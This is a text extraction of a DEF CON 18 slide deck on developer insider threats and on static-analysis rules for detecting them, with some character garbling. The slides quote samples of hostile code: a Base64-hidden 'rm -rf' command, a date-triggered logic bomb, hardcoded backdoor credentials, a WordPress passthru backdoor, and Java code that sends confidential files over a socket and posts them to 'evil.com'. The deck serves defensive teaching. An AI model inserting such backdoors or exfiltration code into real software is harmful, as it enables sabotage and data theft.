Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West...

52
Repelling the Wily Insider Ma#as Madou, PhD / Jacob West DEF CON 18 / Las Vegas, NV / 7.308.1, 2010

Transcript of Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West...

Page 1: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

Repelling  the    Wily  Insider  

Ma#as  Madou,  PhD  /  Jacob  West  DEF  CON  18  /  Las  Vegas,  NV  /  7.30-­‐8.1,  2010  

Page 2: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 2!

Ma#as  Madou  

  Security  Researcher    @  For#fy  SoKware    Focus  on  new  techniques  to    find  vulnerabili#es    (sta#c  and  dynamic)  

  New  ways  to  protect  WebApps  

  Contributor  to  BSIMM  Europe  

  History  in  Code  Obfusca#on    (&  Binary  Rewri#ng)  

Page 3: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 3!

Jacob  West  

  Director  of  Security  Research,  For#fy  SoKware    Secure  Programming  with  Sta#c  Analysis  

  Speaker  at  RSA,  Black  Hat,    Def  Con,  OWASP,  SANS,  Web  2.0  

  Contributor  to  MOPS,    a  C/C++  sta#c  analysis    tool  (UC  Berkeley)  

Page 4: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 4!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 5: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 5!

2009  Computer  Crime  Survey  

  43%  of  the  companies  had  losses  due  to  malicious  insiders  (66%  due  to  non-­‐malicious)  

Page 6: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 6!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 7: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 7!

Which  Insiders?  

  Developers    Less  destruc#ve,  more  subtle.    Reason:  Trace  code  back    to  the  developer    

  …not  about  IT  people    

Page 8: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 8!

Mo#ves  

Page 9: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 9!

What  if  You  Get  Caught?  

 Medco:  Failed  Logic  Bomb:  30  months  (up  to  10y)    UBS:  Successful  Logic  Bomb:  8  years  

Page 10: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 10!

What  We're  Looking  For:  Bad  Code  

Page 11: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 11!

2004  Obfuscated  Vo#ng  Contest  

  2004  coding  contest  hosted  at  Stanford    41  par#cipants  submit  electronic  vo#ng  code  

  Objec#ves:    Count  correctly  in  test  mode    Skew  toward  one  candidate  during  the  real  elec#on    Human  code  reviewer  should  not  no#ce  the  bias  

  Skew  should  be  subtle  enough  to  avoid  aken#on  

Page 12: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 12!

Contest  Results  

  Techniques  used  by  top  10  entries  

1

4

2

3

Buffer  Overflow  

Unini#alized  Memory  

Convoluted  or  obscured  logic  

Dangerous  language  features  (macros)  

Page 13: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 13!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 14: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 14!

Classifying  Well-­‐Known  Examples  

 Medco  

  Linux  

  Borland’s  InterBase  

 Wordpress  

if ( date > “April 23, 2005” ) delete all files on all 70 servers

if ( username == “politically” and password == “correct”) // Grant Access!

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

Page 15: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 15!

1.  Obfusca#on  and  Camouflage  

 Where  to  hide  from?  Developers  think  of  human  inspectors  of  the  code.  What  people  can  see.  

 Make  code  looks  similar  to  real  code  (be  subtle)  

  Linux  case,  make  root:  

  X11  case,  forgoken  parenthesis     if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

if (getuid() == 0 || geteuid != 0) { if (!strcmp(argv[i], "-modulepath")) {

Page 16: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 16!

1.  Obfusca#on  and  Camouflage  

  Decode  a  sta#c  string  and  execute  //encoded form of: "rm -rf some_critical_dir/*” String enc_cmd = "cm0gLXJmIHNvbWVfY3JpdGljYWxfZGlyLyo="; decoded=(new BASE64Encoder()).decodeBuffer(encoded_command); Runtime.getRuntime().exec(decoded);

Page 17: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 17!

1.  Obfusca#on  and  Camouflage  

  Case:  Usage  of  simple  subs#tu#on  cyphers  (Like  Rot13,  Four  square,  Bifid  and  Trifid  Cypher,  …)      

Page 18: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 18!

2.  Logic  or  Time  Bomb  

  A  logic  bomb  is  a  piece  of  malicious  code  that  is  dormant  un#l  a  triggering  mechanism  enables  it.  

  One  common  method  for  enabling  a  logic  bomb  is  comparing  the  current  date  and  #me  against  a  trigger  date  and  #me.  

  Numerous  public  disclosers  

Page 19: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 19!

2.  Logic  or  Time  Bomb  

  Destruc#ve  IT  People  break  the  news:    Logic  Bomb  Wipes  out  800  PCs  in  Norfolk  VA  

 Medco  sys  admin  gets  30  months  for  plan#ng  logic  bomb  (Inside  saboteur  could  have  crippled  pharmacists'  ability  to  check  for  deadly  drug  interac#ons,  U.S.  akorney  says)  

  'Logic  Bomb'  Hacker  Gets  8  Years  for  Failed  Stock  Rigging  

  But  yes  developers  seems  to  be  destruc#ve  too:    Fired  Contractor  Kisses  Off  Fannie  Mae  With  Logic  Bomb  

Page 20: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 20!

2.  Logic  or  Time  Bomb  

 What  we  found  (Financial  Ins#tu#on):    This  was  found  in  code.  The  trigger  code  was  upda#ng  database  entries  long initTime = System.currentTimeMillis(); if(initTime > 0x1291713454eL) //Trigger

Page 21: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 21!

3.  Dynamic  Code  Injec#on/Manipula#on  

  Categories:    Abuse  reflec#on  (Rewri#ng  read-­‐only  variables)    Resource  Rewri#ng  (Rewri#ng  class  and  jar  files)    Run#me  Compila#on  (Compiling  code  at  run#me)      Class  Loader  Abuse  (Turn  bytes  in  executable  code)    …  

Page 22: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 22!

3.  Dynamic  Code  Injec#on/Manipula#on  

  Example:  (Abuse  Reflec#on)  

  Cases:  Not  seen  in  the  wild  

Credit  to  Jeff  Williams,  Enterprise  Java  Rootkits,  BH  2009  

public static final String fixed_place_to_read_important_info="...";

...

Field field=String.class.getDeclaredField("value"); field.setAccessible(true); field.set("fixed_place_to_read_important_info",

"the_new_value".toCharArray); ...

Page 23: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 23!

4.  Backdoors  and  Secret  Creden#als  

 Most  common  Insider  Threat:  (Threat  against  company  and  users)    Execute  commands  (OS,  queries,  …)    Adding  creden#als    Adding  a  master  password  

Page 24: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 24!

4.  Backdoors  and  Secret  Creden#als  

  Borland’s  InterBase  

 Wordpress  backdoor  

if ( username == “politically” and password == “correct”) //Grant Access!

if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

Page 25: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 25!

4.  Backdoors  and  Secret  Creden#als  

  Op#x  Pro:    Random-­‐looking  38-­‐character  "master  password”  (kjui3498tk34289890fwe334gfew4ger$"sdf)  

  Encrypted  in  binary,  decrypted  in  RAM  

  Included  for  security  reasons    Subseven  

  Backdoor  with  secret  password   Way  to  control  what  they’ve  created  

Page 26: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 26!

5.  Nefarious  Communica#on  

  Opening  socket  and  making  connec#ons  can  be  used  to  transfer  sensi#ve  informa#on.  

  Cases:  Financial  Ins#tu#on.  Opened  a  connec#on  and  transferred  (sensi#ve?)  informa#on  

Page 27: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 27!

5.  Nefarious  Communica#on  

  Transfer  secret  files  on  a  regular  basis   ServerSocket srvr = new ServerSocket(666);

Socket skt = srvr.accept(); File pf = new File("someConfidentialFile.txt"); if (pf.exists()) { PrintWriter out = new PrintWriter(skt.getOutputStream(), true); FileInputStream fi = new FileInputStream(pf); BufferedReader r = new BufferedReader(new InputStreamReader(fi)); String data; while ((data = r.readLine()) != null) { out.print(data + "\n"); } out.close(); }

Page 28: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 28!

5.  Nefarious  Communica#on  

  Similar:  Transfer  secret  file  by  pos#ng  the  file   URL url = new URL("http://evil.com:666/SomeDoFile.do");

HttpURLConnection connection = null; connection = (HttpURLConnection)url.openConnection(); connection.setRequestMethod("POST");

//The file to send File pf = new java.io.File("someConfidentialFile.txt"); FileInputStream fi = new FileInputStream(pf); fi.read(the_bytes);

OutputStream out = connection.getOutputStream(); out.write(the_bytes); out.close();

int responseCode = connection.getResponseCode(); //Send

Page 29: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 29!

5.  Nefarious  Communica#on  

  Blackberry  Case:  e-­‐mail  spying:    Adver#sed  as  a  performance  update,  but  contained:  

  This  looked  like  valid  insider  threat  code.    (Turns  out  that  it  was  on  purpose)  

smtp.sendMail("[email protected]”, subj, body);

Page 30: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 30!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 31: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 31!

Peer  Review  

  Yes,  you  will  find  this  suspicious:  

  AKer  one  week  you  might  spot:  

  But  when  will  you  find  this  one:  

YzI5dHpxPT1zZGNzYWRjYXNkY2FzZGNhcztsZGNtYTtzbGRt YztsYW1zZGNsO21hc2RsbnNrRENBTEtTSkRDS0pMQVNEQ0

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

Page 32: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 32!

Sta#c  Analysis:  Irregular  Usage  

  By  default:  Will  find  Insider  Threats  that  exploit  Command  Injec#on,  SQL  Injec#on,  …  

  Example:  Wordpress  Vulnerability:  

if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

function get_theme_mcommand($mcds) { passthru($mcds);

Page 33: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 33!

Inside  a  Sta#c  Analysis  Tool  

Page 34: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 34!

How  can  sta#c  analysis  help  here?  

Problem  with  manual  code  review:     Where  to  start?  

 What  to  look  for?  (Is  the  security  person  an  expert  in  all  insider  threat  categories  at  once?)    

Solu#on:  Sta#c  Analysis  can  show  points  of  interest  

  Requires  a  different  mindset  to  look  at  results  

 Must  write  new  rules!  

Page 35: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 35!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

Page 36: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 36!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

  First:  Grabbing  the  en#re  database  is  suspicious    

  Sta#c  query:  con.execute("SELECT * FROM database");

  Rule:    Text  matches  "(?i)select\s+\*\s+from\s+\w+"  

Page 37: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 37!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

Page 38: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 38!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

  Second:  Sending  it  over  the  wire  is  suspicious  

  Sta#c  query:  ServerSocket srvr = new java.net.ServerSocket(666);

  Rule:  Port  in  java.net.ServerSocket  hardcoded  

Page 39: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 39!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

Page 40: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 40!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

  Third:  Mechanism  to  grab  and  compare  #me  

  Sta#c  query:  initTime = System.currentTimeMillis();  

  Rule:  Flag  all  calls  to    java.lang.System.currentTimeMillis()

Page 41: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 41!

Scenario:  Rules  Wri#ng  

  A  laid-­‐off  employee  installs  code  that  reads  the  en#re  database  on  a  regular  basis  and  sends  the  results  over  a  socket  connec#on.    

  Third:  Mechanism  to  grab  and  compare  #me  

  Sta#c  query:  if(initTime > 0x1291713454eL)  

  Rule:  All  compares  of  #me  with  hardcoded  value  

Page 42: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 42!

Result  Presenta#on  

  Different  mindset  required    For  example:  

  Sta#c  Analysis:    Found:    Hard  coded  date  comparisons  Issue:    Possible  Logic  Bomb!  

  Context  is  very  important  now.      Legit:    Updates/Timings/…   Malicious:  Logic/Time  Bomb  planted  by  insider  

long initTime = System.currentTimeMillis(); if(initTime > 0x1291713454eL) //Code

Page 43: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 43!

Result  Presenta#on  

  Order  results  based  on  known  scenario’s,    Example:  date  comparison      Low:  get  the  current  #me   Medium:  compare  the  current  #me    Hot:  Compare  the  current  #me  to  a  hard  coded  date  

Page 44: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 44!

Result  Presenta#on:  Legit  Usages  

  For  (preky  much)  every  rule,  we  can  think  of  a  legit  use  of  such  code  in  your  applica#on.    

  Date  comparisons  (with  a  hard  coded  date)    Legit:  Updates  

  Hard  coded  e-­‐mail  addresses    Legit:  Contact  administrator  

  Copy  the  en#re  Database    Legit:  Migra#on,  Backup,  …  

Page 45: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 45!

Run#me  Analysis:  In  QA  

  Func#onal  Tes#ng  can  help:    Apply  extensive  func#onal  test.  Each  cri#cal  place  (like  execu#ng  a  query  against  a  DB)  that  isn’t  executed  is  suspicious.  

  …  (TODO:  Add)  

Page 46: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 46!

Run#me  Analysis:  In  Produc#on  

  Spot  abnormal  behavior  at  run#me   Massive  amount  of  data  sent  from  an  usual  place  

  …  (TODO:  add)  

Page 47: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 47!

Finding  the  Wily  Insider  

Manual Static Runtime

Class Loader Abuse X Reflection Abuse X Convoluted logic X X Runtime Compilation X Credential Insertion X X E-Mail Spying X X Hidden Functionality X Leaked Secret X X Logic Bomb X X Network Communication X X Overwritten Method X X Password Bypass X X X Process Flow Disruption X X Redundant Condition X Resource Rewriting X Static SQL Query X X Static Secret X X Suspicious String X X

Page 48: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 48!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 49: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 49!

Results:  The  Reality  

  Java  rulepack,  17  Insider  Threat  Categories    Used  by  several  Financial  Ins#tu#ons   Mul#ple  confirmed  issues  

Page 50: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 50!

Overview  

  Intro    Insider  Threat  Background    Classes  of  Insider  Threats    Techniques  for  Defenders    Face-­‐Off    Conclusion  

Page 51: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

7/4/10! 51!

Conclusion  

  The  Insider  Threats  problem  is  hard  to  solve  as  the  insiders’  capabili#es  are  unlimited  

  A  sta#c  analysis  tool  can  show  points  of  interest  in  the  code.    

Page 52: Repelling The Wily Insider - DEF CON · Repelling(the((WilyInsider Ma#as%Madou,%PhD%/%Jacob%West DEF%CON%18%/%Las%Vegas,%NV%/%7.30B8.1,%2010%

Matias Madou, PhD [email protected]#

Jacob [email protected]!

Questions?!